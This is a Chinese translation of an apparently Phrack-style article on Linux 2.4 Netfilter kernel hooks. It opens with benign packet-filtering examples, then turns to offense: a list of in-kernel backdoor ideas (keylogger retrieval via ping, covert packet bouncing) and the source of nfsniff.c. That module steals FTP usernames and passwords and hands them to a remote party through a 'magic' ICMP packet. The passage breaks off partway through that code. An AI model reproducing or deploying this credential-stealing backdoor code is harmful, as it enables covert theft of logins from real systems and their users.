NetFIlter详解

目录

1 - 简介
  1.1 - 本文涉及的内容
  1.2 - 本文不涉及的内容
2 - 各种Netfilter hook及其用法
  2.1 - Linux内核对数据包的处理
  2.2 - Netfilter对IPv4的hook
3 - 注册和注销Netfilter hook
4 - Netfilter 基本的数据报过滤技术[1]
  4.1 - 深入hook函数
  4.2 - 基于接口进行过滤
  4.3 - 基于地址进行过滤
  4.4 - 基于TCP端口进行过滤
5 - Netfilter hook的其它可能用法
  5.1 - 隐藏后门的守护进程
  5.2 - 基于内核的FTP密码嗅探器
   5.2.1 - 源代码 : nfsniff.c
   5.2.2 - 源代码 : getpass.c
6 - 在Libpcap中隐藏网络通信
  6.1 - SOCK_PACKET、SOCK_RAW与Libpcap
  6.2 - 给狼披上羊皮
7 - 结束语
A - 轻量级防火墙
  A.1 - 概述
  A.2 - 源代码 : lwfw.c
  A.3 - 头文件 : lwfw.h
B - 第6节中的源代码

--[ 1 - 简介

   本文将向你展示,Linux的网络堆栈的一些怪异行为(并不一定是弱点)如何被用于邪恶的或者是其它形形色色的目的。在这里将要讨论的是将表面上看起来合法的Netfilter hook用于后门的通信,以及一种使特定的网络通信在运行于本机的基于Libpcap的嗅探器中消声匿迹的技术。
   Netfilter是Linux 2.4内核的一个子系统,Netfiler使得诸如数据包过滤、网络地址转换(NAT)以及网络连接跟踪等技巧成为可能,这些功能仅通过使用内核网络代码 提供的各式各样的hook既可以完成。这些hook位于内核代码中,要么是静态链接的,要么是以动态加载的模块的形式存在。可以为指定的网络事件注册相应 的回调函数,数据包的接收就是这样一个例子。


----[ 1.1 - 本文涉及的内容
   
   本文讨论模块编写者如何利用Netfilter hook来实现任意目的以及如何将将网络通信在基于Libpcap的应用程序中隐藏。虽然Linux 2.4支持对IPv4、IPv6以及DECnet的hook,但在本文中将只讨论关于IPv4的话题,虽然如此,大部分关于IPv4的内容都同样可以运用 于其它几种协议。出于教学的目的,附录A提供了一个可用的、提供基本的包过滤的内核模块。本文中所有的开发和试验都在运行于Intel主机上的Linux 2.4.5中完成。对Netfilter hook功能的测试在环回接口、以太网接口以及调制解调器点对点接口上完成。
   
   本文也是出于我对Netfilter完全理解的尝试的兴趣而写的。我并不能保证文中附带的任何代码100%的没有错误,但是我已经测试了所有 在这里提供的代码。我已经受够了核心错误的折磨,因此真诚的希望你不会再如此。同样,我不会为任何按照本文所述进行的操作中可能发生的损害承担责任。本文 假定读者熟悉C语言编程并且有一定的关于可加载模块的经验。
   
   欢迎对本文中出现的错误进行批评指正,我同时开诚布公的接受对本文的改进以及其它各种关于Netfilter的优秀技巧的建议。
   
   
---- [ 1.2 - 本文不涉及的内容

   本文不是一个完全的关于Netfilter的细节上的参考资料,同样,也不是一个关于iptables的命令的参考资料。如果你想了解更多的关于iptables的命令,请参考相关的手册页。
   
   好了,让我们从Netfilter的使用介绍开始 ...
   

--[ 2 - 各种Netfilter hook及其用法
----[ 2.1 - Linux内核对数据包的处理
   
   看起来好像是我很喜欢深入到诸如Linux的数据包处理以及事件的发生以及跟踪每一个Netfilter hook这样的血淋淋的细节中,事实并非如此!原因很简单,Harald Welte已经写了一篇关于这个话题的优秀的文章??《Journey  of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的关于Linux数据包处理的内容,我强烈推荐你去拜读这篇文章。现在,仅需要理解:当数据包游历Linux内核的网络堆 栈时,它穿过了几个hook点,在这里,数据包可以被分析并且选择是保留还是丢弃,这些hook点就是Netfilter hook。
   

----[ 2.2 - Netfilter对IPv4的hook

   Netfilter中定义了五个关于IPv4的hook,对这些符号的声明可以在linux/netfilter_ipv4.h中找到。这些hook列在下面的表中:
   
表1 : 可用的IPv4 hook

   Hook         调用的时机
NF_IP_PRE_ROUTING   在完整性校验之后,选路确定之前
NF_IP_LOCAL_IN     在选路确定之后,且数据包的目的是本地主机
NF_IP_FORWARD     目的地是其它主机地数据包
NF_IP_LOCAL_OUT     来自本机进程的数据包在其离开本地主机的过程中
NF_IP_POST_ROUTING   在数据包离开本地主机“上线”之前

   NF_IP_PRE_ROUTING这个hook是数据包被接收到之后调用的第一个hook,这个hook既是稍后将要描述的模块所用到的。当然,其它的hook同样非常有用,但是在这里,我们的焦点是在NF_IP_PRE_ROUTING这个hook上。

   在hook函数完成了对数据包所需的任何的操作之后,它们必须返回下列预定义的Netfilter返回值中的一个:
   
表2 : Netfilter返回值

   返回值         含义
NF_DROP         丢弃该数据包
NF_ACCEPT       保留该数据包
NF_STOLEN       忘掉该数据包
NF_QUEUE       将该数据包插入到用户空间
NF_REPEAT       再次调用该hook函数

   NF_DROP这个返回值的含义是该数据包将被完全的丢弃,所有为它分配的资源都应当被释放。NF_ACCEPT这个返回值告诉 Netfilter:到目前为止,该数据包还是被接受的并且该数据包应当被递交到网络堆栈的下一个阶段。NF_STOLEN是一个有趣的返回值,因为它告 诉Netfilter,“忘掉”这个数据包。这里告诉Netfilter的是:该hook函数将从此开始对数据包的处理,并且Netfilter应当放弃 对该数据包做任何的处理。但是,这并不意味着该数据包的资源已经被释放。这个数据包以及它独自的sk_buff数据结构仍然有效,只是hook函数从 Netfilter获取了该数据包的所有权。不幸的是,我还不是完全的清楚NF_QUEUE到底是如果工作的,因此在这里我不讨论它。最后一个返回值 NF_REPEAT请求Netfilter再次调用这个hook函数。显然,使用者应当谨慎使用NF_REPEAT这个返回值,以免造成死循环。
   
--[3 - 注册和注销Netfilter hook

   注册一个hook函数是围绕nf_hook_ops数据结构的一个非常简单的操作,nf_hook_ops数据结构在linux/netfilter.h中定义,该数据结构的定义如下:

      struct nf_hook_ops {
          struct list_head list;

          
          nf_hookfn *hook;
          int pf;
          int hooknum;
          
          int priority;
      };

   该数据结构中的list成员用于维护Netfilter hook的列表,并且不是用户在注册hook时需要关心的重点。hook成员是一个指向nf_hookfn类型的函数的指针,该函数是这个hook被调用 时执行的函数。nf_hookfn同样在linux/netfilter.h中定义。pf这个成员用于指定协议族。有效的协议族在linux /socket.h中列出,但对于IPv4我们希望使用协议族PF_INET。hooknum这个成员用于指定安装的这个函数对应的具体的hook类型, 其值为表1中列出的值之一。最后,priority这个成员用于指定在执行的顺序中,这个hook函数应当在被放在什么地方。对于IPv4,可用的值在 linux/netfilter_ipv4.h的nf_ip_hook_priorities枚举中定义。出于示范的目的,在后面的模块中我们将使用 NF_IP_PRI_FIRST。
   
   注册一个Netfilter hook需要调用nf_register_hook()函数,以及用到一个nf_hook_ops数据结构。nf_register_hook()函数以 一个nf_hook_ops数据结构的地址作为参数并且返回一个整型的值。但是,如果你真正的看了在net/core/netfilter.c中的 nf_register_hook()函数的实现代码,你会发现该函数总是返回0。以下提供的是一个示例代码,该示例代码简单的注册了一个丢弃所有到达的 数据包的函数。该代码同时展示了Netfilter的返回值如何被解析。

   示例代码1 : Netfilter hook的注册

#define __KERNEL__
#define MODULE

#include <linux/module.h>  
#include <linux/kernel.h> 
#include <linux/netfilter.h> 
#include <linux/netfilter_ipv4.h> 

static struct nf_hook_ops nfho;

unsigned int hook_func(unsigned int hooknum,
            struct sk_buff **skb,
            const struct net_device *in,
            const struct net_device *out,
            int (*okfn)(struct sk_buff *))
{
   return NF_DROP;      
}

int init_module()
{
   
   nfho.hook = hook_func;     
   nfho.hooknum  = NF_IP_PRE_ROUTING;
   nfho.pf    = PF_INET;
   nfho.priority = NF_IP_PRI_FIRST;  

   nf_register_hook(&nfho);

   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&nfho);
}

   这就是全部内容,从示例代码1中,你可以看到,注销一个Netfilter hook是一件很简单事情,只需要调用nf_unregister_hook()函数,并且以你之前用于注册这个hook时用到的相同的数据结构的地址作为参数。
   

-- [4 - Netfilter 基本的数据报过滤技术
---- [4.1 - 深入hook函数

   现在是到了看看什么数据被传递到hook函数中以及这些数据如何被用于做过滤选择的时候了。那么,让我们更深入的看看nf_hookfn函数的原型吧。这个函数原型在linux/netfilter.h中给出,如下:

      typedef unsigned int nf_hookfn(unsigned int hooknum,
                     struct sk_buff **skb,
                     const struct net_device *in,
                     const struct net_device *out,
                     int (*okfn)(struct sk_buff *));

   nf_hookfn函数的第一个参数用于指定表1中给出的hook类型中的一个。第二个参数更加有趣,它是一个指向指针的指针,该指针指向的 指针指向一个sk_buff数据结构,网络堆栈用sk_buff数据结构来描述数据包。这个数据结构在linux/skbuff.h中定义,由于它的内容 太多,在这里我将仅列出其中有意义的部分。

   sk_buff数据结构中最有用的部分可能就是那三个描述传输层包头(例如:UDP, TCP, ICMP, SPX)、网络层包头(例如:IPv4/6, IPX, RAW)以及链路层包头(例如:以太网或者RAW)的联合(union)了。这三个联合的名字分别是h、nh以及mac。这些联合包含了几个结构,依赖于 具体的数据包中使用的协议。使用者应当注意:传输层包头和网络层包头可能是指向内存中的同一个位置。这是TCP数据包可能出现的情况,其中h和nh都应当 被看作是指向IP头结构的指针。这意味着尝试通过h->th获取一个值,并认为该指针指向一个TCP头,将会得到错误的结果。因为h->th 实际上是指向的IP头,与nh->iph得到的结果相同。

   接下来让我们感兴趣的其它部分是len和data这两个域。len指定了从data开始的数据包中的数据的总长度。好了,现在我们知道如何在sk_buff数据结构中分别访问协议头和数据包中的数据了。Netfilter hook函数中有用的信息中其它的有趣的部分是什么呢?

   紧跟在skb之后的两个参数是指向net_device数据结构的指针,net_device数据结构被Linux内核用于描述所有类型的网 络接口。这两个参数中的第一个??in,用于描述数据包到达的接口,毫无疑问,参数out用于描述数据包离开的接口。必须明白,在通常情况下,这两个参数 中将只有一个被提供。例如:参数in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,参数out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在这一个阶段中,我还没有测试对于NF_IP_FORWARD hook,这两个参数中哪些是有效的,但是如果你能在使用之前先确定这些指针是非空的,那么你是非常优秀的!

   最后,传递给hook函数的最后一个参数是一个命名为okfn函数指针,该函数以一个sk_buff数据结构作为它唯一的参数,并且返回一个 整型的值。我不是很确定这个函数是干什么用的,在net/core/netfilter.c中查看,有两个地方调用了这个okfn函数。这两个地方是分别 在函数nf_hook_slow()中以及函数nf_reinject()中,在其中的某个位置,当Netfilter hook的返回值为NF_ACCEPT时被调用。如果任何人有更多的关于okfn函数的信息,请务必告知。
   
   ** 译注:Linux核心网络堆栈中有一个全局变量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(表1中定义的类型)。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。
    
   以下代码摘自 net/core/netfilter,nf_register_hook()函数的实现:
int nf_register_hook(struct nf_hook_ops *reg)
{
   struct list_head *i;

   br_write_lock_bh(BR_NETPROTO_LOCK);
   for (i = nf_hooks[reg->pf][reg->hooknum].next; 
     i != &nf_hooks[reg->pf][reg->hooknum]; 
     i = i->next) {
     if (reg->priority < ((struct nf_hook_ops *)i)->priority)
       break;
   }
   list_add(®->list, i->prev);
   br_write_unlock_bh(BR_NETPROTO_LOCK);
   return 0;
}

   Netfilter中定义了一个宏NF_HOOK,作者在前面提到的nf_hook_slow()函数实际上就是NF_HOOK宏定义替换的 对象,在NF_HOOK中执行注册的hook函数。NF_HOOK在Linux核心网络堆栈的适当的地方以适当的参数调用。例如,在ip_rcv()函数 (位于net/ipv4/ip_input.c)的最后部分,调用NF_HOOK函数,执行NF_IP_PRE_ROUTING类型的hook。 ip_rcv()是Linux核心网络堆栈中用于接收IPv4数据包的主要函数。在NF_HOOK的参数中,页包含一个okfn函数指针,该函数是用于数 据包被接收后完成后续的操作,例如在ip_rcv中调用的NF_HOOK中的okfn函数指针指向ip_rcv_finish()函数(位于 net/ipv4/ip_input.c),该函数用于IP数据包被接收后的诸如IP选项处理等后续处理。
   
   如果在内核编译参数中取消CONFIG_NETFILTER宏定义,NF_HOOK宏定义直接被替换为okfn,内核代码中的相关部分如下(linux/netfilter.h):

#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)       \
(list_empty(&nf_hooks[(pf)][(hook)])           \
? (okfn)(skb)                 \
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif
   
   可见okfn函数是必不可少的,当Netfilter被启用时,它用于完成接收的数据包后的后续操作,如果不启用Netfilter做数据包过滤,则所有的数据包都被接受,直接调用该函数做后续操作。
   
   ** 译注完
   
   现在,我们已经了解了我们的hook函数接收到的信息中最有趣和最有用的部分,是该看看我们如何以各种各样的方式来利用这些信息来过滤数据包的时候了!
   
   
----[4.2 - 基于接口进行过滤

   这应该是我们能做的最简单的过滤技术了。还记得我们的hook函数接收的参数中的那些net_device数据结构吗?使用相应的 net_device数据结构的name这个成员,你就可以根据数据包的源接口和目的接口来选择是否丢弃它。如果想丢弃所有到达接口eth0的数据包,所 有你需要做的仅仅是将in->name的值与"eth0"做比较,如果名字匹配,那么hook函数简单的返回NF_DROP即可,数据包会被自动销 毁。就是这么简单!完成该功能的示例代码见如下的示例代码2。注意,Light-Weight FireWall模块将会提供所有的本文提到的过滤方法的简单示例。它还包含了一个IOCTL接口以及用于动态改变其特性的应用程序。
   
   示例代码2 : 基于源接口的数据包过滤

#define __KERNEL__
#define MODULE
#include 
#include 
#include 
#include 
#include 
static struct nf_hook_ops nfho;

static char *drop_if = "lo";

unsigned int hook_func(unsigned int hooknum,
            struct sk_buff **skb,
            const struct net_device *in,
            const struct net_device *out,
            int (*okfn)(struct sk_buff *))
{
   if (strcmp(in->name, drop_if) == 0) {
     printk("Dropped packet on %s...\n", drop_if);
     return NF_DROP;
   } else {
     return NF_ACCEPT;
   }
}

int init_module()
{
   
   nfho.hook   = hook_func;     
   nfho.hooknum  = NF_IP_PRE_ROUTING;
   nfho.pf    = PF_INET;
   nfho.priority = NF_IP_PRI_FIRST;  

   nf_register_hook(&nfho);
   
   return 0;
}
   
void cleanup_module()
{
   nf_unregister_hook(&nfho);
}

   是不是很简单?接下来,让我们看看基于IP地址的过滤。
   

----[ 4.3 - 基于地址进行过滤

   与根据数据包的接口进行过滤类似,基于数据包的源或目的IP地址进行过滤同样简单。这次我们感兴趣的是sk_buff数据结构。还记得skb 参数是一个指向sk_buff数据结构的指针的指针吗?为了避免犯错误,声明一个另外的指向skb_buff数据结构的指针并且将skb指针指向的指针赋 值给这个新的指针是一个好习惯,就像这样:
   
    struct sk_buff *sb = *skb;   
    
    ...

      static int check_ip_packet(struct sk_buff *skb)
      {
        
        if (!skb )return NF_ACCEPT;
        if (!(skb->nh.iph)) return NF_ACCEPT;
      
        if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 
        return NF_DROP;
        }

        return NF_ACCEPT;
      }
   
   这样,如果数据包的源地址与我们设定的丢弃数据包的地址匹配,那么该数据包将被丢弃。为了使这个函数能按预期的方式工作,deny_ip的值 应当以网络字节序(Big-endian,与Intel相反)存放。虽然这个函数不太可能以一个空的指针作为参数来调用,带一点点偏执狂从来不会有什么坏 处。当然,如果错误确实发生了,那么该函数将会返回NF_ACCEPT。这样Netfilter可以继续处理这个数据包。示例代码4展现了用于演示将基于 接口的过滤略做修改以丢弃匹配给定IP地址的数据包的简单模块。
   
   示例代码4 : 基于数据包源地址的过滤

#define __KERNEL__
#define MODULE

#include 
#include 
#include 
#include          
#include 
#include 

static struct nf_hook_ops nfho;

static unsigned char *drop_ip = "\x7f\x00\x00\x01";

unsigned int hook_func(unsigned int hooknum,
            struct sk_buff **skb,
            const struct net_device *in,
            const struct net_device *out,
            int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   
   // 译注:作者提供的代码中比较地址是否相同的方法是错误的,见注释掉的部分
   if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
   // if (sb->nh.iph->saddr == drop_ip) {
     printk("Dropped packet from... %d.%d.%d.%d\n",
    *drop_ip, *(drop_ip + 1),
  *(drop_ip + 2), *(drop_ip + 3));
     return NF_DROP;
   } else {
     return NF_ACCEPT;
   }
}

int init_module()
{
   
   nfho.hook    = hook_func;     
   nfho.hooknum  = NF_IP_PRE_ROUTING;
   nfho.pf    = PF_INET;
   nfho.priority = NF_IP_PRI_FIRST;  

   nf_register_hook(&nfho);

   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&nfho);
}


----[ 4.4 - 基于TCP端口进行过滤

   另一个要实现的简单规则是基于数据包的TCP目的端口进行过滤。这只比检查IP地址的要求要高一点点,因为我们需要自己创建一个TCP头的指 针。还记得我们前面讨论的关于传输层包头与网络层包头的内容吗?获取一个TCP头的指针是一件简单的事情??分配一个tcphdr数据结构(在 linux/tcp.h中定义)的指针,并将它指向我们的数据包中IP头之后的数据。或许一个例子的帮助会更大一些,示例代码5给出了检查数据包的TCP 目的端口是否与某个我们要丢弃数据包的端口匹配的代码。与示例代码3一样,这些代码摘自LWFW。
   
   示例代码5 : 检查收到的数据包的TCP目的端口
      unsigned char *deny_port = "\x00\x19";  

    ...

      static int check_tcp_packet(struct sk_buff *skb)
      {
        struct tcphdr *thead;

        
        if (!skb ) return NF_ACCEPT;
        if (!(skb->nh.iph)) return NF_ACCEPT;

        
        if (skb->nh.iph->protocol != IPPROTO_TCP) {
          return NF_ACCEPT;
        }

        thead = (struct tcphdr *)(skb->data +
                    (skb->nh.iph->ihl * 4));

        
        if ((thead->dest) == *(unsigned short *)deny_port) {
          return NF_DROP;
        }
      
      return NF_ACCEPT;
      }

   确实很简单!不要忘了,要让这个函数工作,deny_port必须是网络字节序。这就是数据包过滤的基础了,你应当已经清楚的理解了对于一个特定的数据包,如何获取你想要的信息。现在,是该进入更有趣的内容的时候了!
   

--[ 5 - Netfilter hook的其它可能用法

   在这里,我将提出其它很酷的利用Netfilter hook的点子,5.1节将简单的给出精神食粮,而5.2节将讨论和给出可以工作的基于内核的FTP密码嗅探器的代码,它的远程密码获取功能是确实可用的。事实上,它工作的令我吃惊的好,并且我编写了它。
   
----[ 5.1 - 隐藏后门的守护进程

   核心模块编程也许是Linux开发中最有趣的部分之一了,在内核中编写代码意味着你在一个仅受限于你的想象力的地方写代码。以恶意的观点来 看,你可以隐藏文件、进程,并且做各式各样很酷的,任何的rootkit能够做的事情。那么,以不太恶意的观点来看(是的,持这中观点人们的确存在),你 可以隐藏文件、进程以及干各式各样的事情。内核真是一个迷人的乐园!
   
   有了赋予内核级程序员的强大力量,很多事情成为可能。其中最有趣的(也是让系统管理员恐慌的)一个就是嵌入到内核中的后门。毕竟,如果后门不 作为一个进程运行,那么我们怎么知道它的运行?当然,还是有办法让你的内核揪出这样的后门来,但是它们可不像运行ps命令一样容易和简单。现今,将后门代 码放到内核中去的点子已经并不新鲜了。但是,我在这里所提出的是安放一个用作内核后门的简单的网络服务。你猜对了,正是Netfilter hook!
   
   如果你已经具备必要的技能并且情愿以做试验的名义使你的内核崩溃,那么你就可以构建简单但是有用的,完全位于内核中的,可以远程访问的网络服务了。基本上一个Netfilter hook可以通过观察收到的数据包来查找一个“魔法”数据包,并且当接收到这个“魔法”数据包时干指定的事情。结果可以通过Netfilter hook来发送。并且该hook函数可以返回NF_STOLEN,以使得收到的“魔法”数据包可以走得更远。但是要注意,当以这种方式来发送时,输出数据包对于输出Netfilter hook仍然是可见的。因此用户空间完全不知道这个“魔法”数据包的曾经到达,但是它们还是能看到你送所出的。当心!因为在泄密主机上的嗅探器不能看到这个包并不意味着在其它中间宿主主机上的嗅探器也看不到这个包。
   
   kossak与lifeline曾为Phrack写了一篇精彩的文章,该文描述了如何通过注册数据包类型处理器来完成这样的功能。虽然本文涉及的是Netfilter hook,我仍然建议阅读他们的这篇文章(第55期,文件12),因为它是一篇给出了一些非常有趣的点子的有趣读物。
   
   那么,后门Netfilter hook可以干些什么工作呢?以下是一些建议:
   -- 远程访问击键记录器(key-logger)。模块记录击键,并且当远程主机发送一个PING请求时,结果被送到该主机。这样,可以生成一个类似于稳定的 (非洪水的)PING应答流的击键信息的流。当然,你可能想要实现一个简单的加密,这样,ASCII键不会立即暴露它们自己,并且某些警觉的系统管理员会 想:“坚持,我以前都是通过我的SSH会话来键入那些的!Oh $%@T%&!”。
   -- 各种简单的管理员任务,例如获取当前登录到主机的用户的列表或责获取打开的网络连接的信息。
   -- 并非一个真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。
   -- 文件传输“服务器”。我最近已经实现了这个主意,由此引起的Linux核心编程是数小时的乐趣:)
   -- 数据包跳跃。重定向目的为木马主机指定端口的数据包到其它的IP主机和端口,并且从那台主机发回数据包到发起者。没有进程被派生,并且最妙的是,没有网络套接字被打开。
   -- 上面描述的数据包跳跃用于与网络中的关键系统以半隐蔽方式通信。例如:配置路由器等。
   -- FTP/POP3/Telnet密码嗅探器。嗅探输出的密码并保存相关信息,直到进入的“魔法”数据包要求获取它们。
   
   以上只是一些想法的简短的列表,其中最后一个想法是我们在接下来的一节中将要真正详细讨论的。它
提供了一个很好的了解更多的深藏于核心网络代码中的函数的机会。

----[ 5.2 - 基于内核的FTP密码嗅探器

   在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个 USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回 然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节, 来看模块如何做到这些的时候了。
   
   当模块加载时,模块的init_module()函数简单的注册了两个Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被 安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。 cleanup_module()函数只是简单的注销这两个hook。
   
   watch_out()是用于hook NF_IP_POST_ROUTING的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定 它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用 户名/密码对。如果存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp() 函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。
   
   check_ftp()开始于从数据包的开始查找"USER","PASS"或"QUIT"。注意直到USER命令处理之后才处理PASS命 令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命 令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参 数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在 当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。
   
   到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什 么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误:)。当数据包进安装该模块的主机 时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被 watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。 这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因 此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并 且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在 linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路 层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向 mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->dev->type的值,其中 sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。
   
表3 : 接口类型的常用值

类型代码     接口类型
ARPHRD_ETHER   以太网
ARPHRD_LOOPBACK   环回设备
ARPHRD_PPP     点对点(例如拨号)

  最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结 构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数 dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里 错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了 dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而 Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。
   
   
------[ 5.2.1 - 源代码 : nfsniff.c

<++> nfsniff/nfsniff.c


#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAGIC_CODE  0x5B
#define REPLY_SIZE  36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
          - sizeof(struct iphdr) \
          - sizeof(struct icmphdr))

static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;   

static unsigned int target_ip = 0;
static unsigned short target_port = 0;

struct nf_hook_ops  pre_hook;      
struct nf_hook_ops  post_hook;      


static void check_ftp(struct sk_buff *skb)
{
  struct tcphdr *tcp;
  char *data;
  int len = 0;
  int i = 0;
   
  tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
  data = (char *)((int)tcp + (int)(tcp->doff * 4));

  
  if (username)
   if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
    return;
   
  
  if (strncmp(data, "USER ", 5) == 0) {      
    data += 5;
    
    if (username)  return;
    
    while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘
     && *(data + i) != ‘\0‘ && i < 15) {
   len++;
   i++;
    }
    
    if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
   return;
    memset(username, 0x00, len + 2);
    memcpy(username, data, len);
    *(username + len) = ‘\0‘;      
  } else if (strncmp(data, "PASS ", 5) == 0) {  
    data += 5;

    
    if (username == NULL) return;
    if (password)  return;
    
    while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘
     && *(data + i) != ‘\0‘ && i < 15) {
   len++;
   i++;
    }

    if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
   return;
    memset(password, 0x00, len + 2);
    memcpy(password, data, len);
    *(password + len) = ‘\0‘;      
  } else if (strncmp(data, "QUIT", 4) == 0) {
    
    if (have_pair)  return;
    if (username && !password) {
   kfree(username);
   username = NULL;
   target_port = target_ip = 0;
   have_pair = 0;
    
   return;
    }
  } else {
    return;
  }

  if (!target_ip)
   target_ip = skb->nh.iph->daddr;
  if (!target_port)
   target_port = tcp->source;

  if (username && password)
   have_pair++;        
//  if (have_pair)
//   printk("Have password pair!  U: %s  P: %s\n", username, password);
}

static unsigned int watch_out(unsigned int hooknum,
          struct sk_buff **skb,
          const struct net_device *in,
          const struct net_device *out,
          int (*okfn)(struct sk_buff *))
{
  struct sk_buff *sb = *skb;
  struct tcphdr *tcp;
   
  
  if (sb->nh.iph->protocol != IPPROTO_TCP)
   return NF_ACCEPT;        
   
  tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
  
  if (tcp->dest != htons(21))
   return NF_ACCEPT;        
   
  
  if (!have_pair)
   check_ftp(sb);
   
  
  return NF_ACCEPT;
}


static unsigned int watch_in(unsigned int hooknum,
         struct sk_buff **skb,
         const struct net_device *in,
         const struct net_device *out,
         int (*okfn)(struct sk_buff *))
{
  struct sk_buff *sb = *skb;
  struct icmphdr *icmp;
  char *cp_data;        
  unsigned int  taddr;      

  
  if (!have_pair)
   return NF_ACCEPT;
    
  
  if (sb->nh.iph->protocol != IPPROTO_ICMP)
   return NF_ACCEPT;
   
  icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

  
  if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
   || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
    return NF_ACCEPT;
  }
   
  
  taddr = sb->nh.iph->saddr;
  sb->nh.iph->saddr = sb->nh.iph->daddr;
  sb->nh.iph->daddr = taddr;

  sb->pkt_type = PACKET_OUTGOING;

  switch (sb->dev->type) {
   case ARPHRD_PPP:        
    break;
   case ARPHRD_LOOPBACK:
   case ARPHRD_ETHER:
   {
    unsigned char t_hwaddr[ETH_ALEN];
     
    
    sb->data = (unsigned char *)sb->mac.ethernet;
    sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
    memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
    memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
      ETH_ALEN);
